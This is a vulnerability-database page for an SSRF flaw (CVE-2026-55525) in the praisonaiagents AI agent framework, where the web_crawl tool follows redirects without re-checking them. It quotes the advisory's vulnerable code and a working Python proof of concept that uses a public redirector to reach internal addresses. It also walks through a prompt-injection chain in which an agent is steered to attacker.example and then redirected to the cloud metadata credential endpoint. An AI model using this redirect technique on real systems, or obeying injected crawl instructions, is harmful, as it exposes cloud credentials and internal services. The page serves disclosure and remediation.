Skip to main content

praisonaiagents CVE-2026-55525

| EUVDEUVD-2026-65493 HIGH
Server-Side Request Forgery (SSRF) (CWE-918)
2026-08-25 https://github.com/MervinPraison/PraisonAI GHSA-5r34-2g38-6569
7.5
CVSS 3.1 · Vendor: https://github.com/MervinPraison/PraisonAI
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Control agent crawl target via task instruction or prompt injection in fetched content
  2. Delivery
    Supply public URL whose hostname resolves to a non-private IP (passes front-door check)
  3. Exploit
    Attacker-controlled server issues HTTP 302 redirect to 169.254.169.254 or 127.0.0.1
  4. Execution
    httpx follows redirect without SSRF re-validation
  5. Persist
    Internal resource body returned into agent context
  6. Impact
    IAM credentials or internal API data exposed to model, logs, and downstream tools

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A01:2025 - Broken Access Control
ASVS 5.0
V4 - API and Web Service URL allowlisting, SSRF prevention
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Credential Access

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The web_crawl tool must be registered in the agent - it is a standard exported tool included in default praisonaiagents deployments. The httpx crawl provider must be active, which is the automatic default when neither Tavily nor Crawl4AI are installed; a stock pip install praisonaiagents meets this condition. The environment variable ALLOW_LOCAL_CRAWL must not be set to true (its default state), which activates the initial front-door IP check whose redirect bypass is the load-bearing exploit path. The attacker must be able to influence the agent's crawl target: either by supplying a crafted task instruction directly to the agent, or by embedding a prompt injection payload in any content the agent has previously fetched. Exploitation does not require authentication to the agent process, network-layer access to internal services, or any non-default configuration change - only control over what URL the agent is directed to fetch. Exploitation is limited to contexts where the agent network can reach link-local (169.254.x.x) or loopback addresses, which is true of all default cloud VM deployments.

Impact

The NVD CVSS 3.1 score of 7.5 (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N) accurately reflects the low-complexity, unauthenticated, network-reachable exploit path. No EPSS score was provided in the input data, and the vulnerability does not appear in the CISA KEV catalog at time of analysis - so active in-the-wild exploitation is unconfirmed. However, a working PoC using httpbin as a public redirector is embedded in the GitHub Security Advisory, which substantially lowers the exploitation bar. The practical blast radius exceeds what the CVSS C:H score alone implies: on cloud-hosted agents, leaked IAM credentials via 169.254.169.254 can escalate to full cloud account compromise. The attack is also composable with prompt injection - an attacker who can get the agent to crawl any attacker-controlled page can chain into SSRF without any direct access to the agent. The primary risk limiter is deployment footprint: praisonaiagents is a niche AI agent framework, not a universally deployed service.

Exploit ScenarioDerived

An attacker embeds a prompt injection payload in a webpage that a praisonaiagents-powered AI agent is already crawling, instructing the agent to fetch https://attacker.example/redirect - a public hostname that passes the initial IP blocklist. The attacker's server responds with HTTP 302 Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>, and httpx transparently fetches the IAM credential document, which the web_crawl tool returns into the agent's context where it is visible to the model, logs, and downstream tools. The working PoC in GHSA-5r34-2g38-6569 demonstrates this using httpbin's public redirect endpoint, requiring no attacker-controlled server infrastructure.

This Week Schedule remediation this week. Why: HIGH severity (CVSS 7.0-8.9).
Patch available 0.3% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Aug 25, 2026

Server-Side Request Forgery in praisonaiagents (pip package, versions < 1.6.58) allows any attacker who can influence an AI agent's crawl target - via crafted task instructions or prompt injection embedded in previously crawled content - to exfiltrate cloud instance metadata (including IAM credentials), internal localhost services, and RFC1918 API endpoints. The web_crawl tool's SSRF protection validates only the initial URL's hostname IP, then invokes httpx with follow_redirects=True, allowing an attacker-controlled public URL to 302-redirect the agent to 169.254.169.254 or 127.0.0.1 without any re-validation. This is an incomplete fix for a prior SSRF class in the same component. A fully functional proof-of-concept is publicly documented in GHSA-5r34-2g38-6569, and no public exploit identified at time of analysis beyond the PoC; no CISA KEV listing is present.

RemediationAI

Upgrade praisonaiagents to version 1.6.58 or later via pip install --upgrade praisonaiagents. The patch (commit 2f9677abb2ea68eab864ee8b6a828fd0141612e1 at https://github.com/MervinPraison/PraisonAI/commit/2f9677abb2ea68eab864ee8b6a828fd0141612e1) disables httpx's built-in redirect following (follow_redirects=False) and introduces a _is_safe_crawl_url() helper that validates each redirect destination individually using socket.getaddrinfo() before issuing each hop. If immediate patching is not possible, block outbound access from the agent host to 169.254.169.254 and RFC1918 ranges at the network or cloud security-group level - this prevents credential exfiltration via IMDS but does not prevent access to localhost services. Additionally, enabling IMDSv2-only on AWS instances prevents unauthenticated metadata retrieval even if SSRF succeeds. Removing the web_crawl tool from agent registrations where crawl targets can be influenced by untrusted content is the most complete compensating control, though it disables the feature entirely. Do not rely on the ALLOW_LOCAL_CRAWL environment variable state as a mitigating control - the bypass operates through the redirect path regardless of that flag's default value.

Affected VersionsENISA

praisonaiagents < 1.6.58
PraisonAI < 4.6.58

Affected Packages

pypi praisonaiagents fix: 1.6.58
euvd praisonai fix: 4.6.58

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 2 packages in pypi, euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerable component is web_crawl_tools.py in the praisonaiagents Python package (pkg:pip/praisonaiagents). At line 231, socket.gethostbyname() resolves the initial URL's hostname to a single IP and checks it against Python's ipaddress blocklist (is_loopback, is_private, is_link_local, is_multicast, is_unspecified). However, at line 142, httpx.Client is instantiated with follow_redirects=True, meaning httpx transparently follows any 301/302/303/307/308 responses from the initial host without invoking the blocklist again. CWE-918 (Server-Side Request Forgery) describes this exact architectural gap: URL validation at entry that does not propagate to all request execution paths. The httpx provider is the default crawl backend, automatically selected when Tavily and Crawl4AI are absent - which is the case on a stock pip install. The vulnerability is exploitable in any deployment that registers the web_crawl exported tool and has not set ALLOW_LOCAL_CRAWL=true, which is the default configuration.

Know when Python gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (https://github.com/MervinPraison/PraisonAI) PRIMARY 7.5 HIGH
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
vuln.today AI 7.5 HIGH

Network-reachable via HTTP with no authentication or special conditions; purely a confidentiality impact as redirect fetches only read internal resources; scope unchanged within the agent process boundary.

3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N

Primary rating from Vendor (https://github.com/MervinPraison/PraisonAI).

CVSS VectorVendor: https://github.com/MervinPraison/PraisonAI

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

DescriptionCVE.org

Summary

web_crawl (an exported, model-callable tool) validates only the INITIAL URL's resolved IP against a private/loopback blocklist, then fetches with httpx.Client(follow_redirects=True) and never re-validates redirect targets.

An attacker who controls the agent's crawl target (a malicious task, or prompt injection inside any page the agent already crawls) supplies a public URL that HTTP 302-redirects to an internal address. httpx follows the redirect, fetches the internal resource (cloud metadata 169.254.169.254, localhost services, internal APIs), and returns its body into the agent context. This bypasses the SSRF protection added to fix the earlier web_crawl SSRF reports, so it is an incomplete fix for that class. httpx is the default crawl provider on a stock pip install praisonaiagents, so no provider configuration is required.

Details

  1. The agent is asked (or prompt-injected) to crawl https://attacker.example/r, which the source accepts because attacker.example resolves to a public IP.
  2. The attacker server responds 302 Location: http://169.254.169.254/latest/meta-data/iam/security-credentials/<role>.
  3. _crawl_with_httpx follows the redirect with follow_redirects=True, fetches the IAM credential document, and web_crawl returns it in the result content field, where it enters the agent context and any downstream tool, log, or model response.

The same technique reaches http://127.0.0.1:<port>/ internal services and other link-local and RFC1918 hosts

Source (validates only the initial hostname)

python
# src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py:231

ip_str = socket.gethostbyname(hostname)
ip = ipaddress.ip_address(ip_str)
if ip.is_loopback or ip.is_private or ip.is_link_local or ip.is_multicast or ip.is_unspecified:
    logger.warning(f"Rejected SSRF or private IP attempt: {u}")
    continue

Sink (follows redirects with no re-validation)

python
# src/praisonai-agents/praisonaiagents/tools/web_crawl_tools.py:142

import httpx
with httpx.Client(follow_redirects=True, timeout=30.0) as client:
       response = client.get(url)
       response.raise_for_status()
       content = response.text

PoC

Dependencies: pip install praisonaiagents==1.6.52 httpx

Preconditions:

  • The agent has the web_crawl tool registered, which is a standard exported tool.
  • The default crawl provider httpx is selected (it is always available and is available[0] when Tavily/Crawl4AI are not installed, the default install).
  • ALLOW_LOCAL_CRAWL is not set to true (default), so the source front-door is active and the redirect path is the load-bearing bypass.
  • The crawl target is influenced by the model (a task instruction or prompt injection in previously fetched content).
python
"""Direct loopback is blocked; a public redirector to loopback is not."""
import http.server, json, socket, threading, urllib.parse
from praisonaiagents.tools import web_crawl

SECRET = "INTERNAL-ONLY-IAM-CREDENTIAL-zzz"

class H(http.server.BaseHTTPRequestHandler):
    def do_GET(self):
        self.send_response(200); self.end_headers(); self.wfile.write(SECRET.encode())
    def log_message(self, *a): pass

s = socket.socket(); s.bind(("127.0.0.1", 0)); port = s.getsockname()[1]; s.close()
srv = http.server.HTTPServer(("127.0.0.1", port), H)
threading.Thread(target=srv.serve_forever, daemon=True).start()
internal = f"http://127.0.0.1:{port}/latest/meta-data/iam/security-credentials/"

control = web_crawl(internal)
# front-door blocks loopback
leaked = lambda r: SECRET in json.dumps(r)
redirector = "https://httpbin.org/redirect-to?" + urllib.parse.urlencode(
    {"url": internal, "status_code": "302"})
# public host -> 302 -> internal
exploit = web_crawl(redirector)
srv.shutdown()
print("control_leaked", leaked(control), "| exploit_leaked", leaked(exploit))
assert not leaked(control) and leaked(exploit)
print("CONFIRMED: internal secret exfiltrated via redirect, front-door bypassed")

Impact

Any attacker who can influence an agent's crawl target (a crafted task, or prompt injection in any page the agent crawls) reads internal-only resources through the agent. On a cloud host this discloses the instance metadata service IAM credentials, giving the attacker the agent host's cloud role; it also reaches localhost admin services and internal APIs. The fetched body is returned into the agent context, so it is exposed to the model, logs, and downstream tools. The SSRF protection that the earlier web_crawl advisories added is fully enabled and still bypassed.

Executive ViewAI

Why It Matters

praisonaiagents versions prior to 1.6.58 contain a Server-Side Request Forgery vulnerability allowing attackers to redirect AI agent web requests toward cloud credential stores and internal services, potentially exfiltrating AWS IAM credentials and enabling unauthorized infrastructure access. Organizations deploying this open-source library in production face credential compromise risk and potential lateral movement by threat actors.

Business Impact: High
Compensating Controls

Vendor-released patch: 1.6.58 or later

Threat Intelligence Overview

EPSS Score
0.3%
Top 79% exploitable
Prevalence
Low
niche Python AI agent framework, growing but not broadly deployed
Threat Intel
1
1 sources
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High
EUVD NVD CVE.org EPSS Vulnrichment GHSA GitHub

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity HIGH
CISA KEV No
Public POC Yes
EPSS 0.3%
Patch available Yes
Active threat No
Deciding rule
HIGH severity (CVSS 7.0-8.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision
Out-of-Cycle
Exploitation
Poc
System Exposure· derived
Open
Automatable
Yes
Human Impact
High
Technical Impact
Partial

Priority Score

58
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +38
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Server-Side Request Forgery exploits applications that fetch remote resources based on user-supplied URLs.

More in Python

View all
CVE-2025-24016 CRITICAL POC
9.9 Feb 10

Wazuh SIEM platform versions 4.4.0 through 4.9.0 contain an unsafe deserialization vulnerability in the DistributedAPI t

CVE-2025-27520 CRITICAL POC
9.8 Apr 04

BentoML version 1.4.2 and earlier contains an unauthenticated remote code execution vulnerability through insecure deser

CVE-2025-2945 CRITICAL POC
9.9 Apr 03

pgAdmin 4 contains critical remote code execution vulnerabilities in the Query Tool download and Cloud Deployment endpoi

CVE-2013-5093 MEDIUM POC
6.8 Sep 27

The renderLocalView function in render/views.py in graphite-web in Graphite 0.9.5 through 0.9.10 uses the pickle Python

CVE-2025-32375 CRITICAL POC
9.8 Apr 09

BentoML is a Python library for building online serving systems optimized for AI apps and model inference. Rated critica

CVE-2014-0224 HIGH POC
7.4 Jun 05

OpenSSL before 0.9.8za, 1.0.0 before 1.0.0m, and 1.0.1 before 1.0.1h does not properly restrict processing of ChangeCiph

CVE-2024-21644 HIGH POC
7.5 Jan 08

pyLoad download manager version prior to 0.5.0b3.dev77 exposes the Flask SECRET_KEY through an unauthenticated endpoint.

CVE-2026-33017 CRITICAL POC
9.3 Mar 17

Langflow (a visual LLM pipeline builder) contains a critical unauthenticated code execution vulnerability (CVE-2026-3301

CVE-2017-9462 HIGH POC
8.8 Jun 06

In Mercurial before 4.1.3, "hg serve --stdio" allows remote authenticated users to launch the Python debugger, and conse

CVE-2026-49869 CRITICAL POC
10.0 Jun 26

Unauthenticated remote code execution affects Kestra OSS (the open-source event-driven orchestration platform) prior to

CVE-2026-39987 CRITICAL POC
9.3 Apr 08

Unauthenticated remote code execution in Marimo ≤0.20.4 allows attackers to execute arbitrary system commands via the `/

CVE-2024-21645 MEDIUM POC
5.3 Jan 08

pyLoad is the free and open-source Download Manager written in pure Python. Rated medium severity (CVSS 5.3), this vulne

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy